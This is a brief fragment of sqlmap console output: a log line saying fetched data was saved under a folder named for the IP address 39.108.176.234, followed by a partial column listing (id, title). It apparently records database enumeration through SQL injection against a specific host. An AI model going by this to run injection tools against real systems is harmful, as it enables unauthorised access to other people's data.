[19:21:23] [INF0] fetched data logged to text files under 'C:\Users\Andy\.sqlmap\output\39.108.176.234'

id | int(4) title | varchar(200)

Column | Type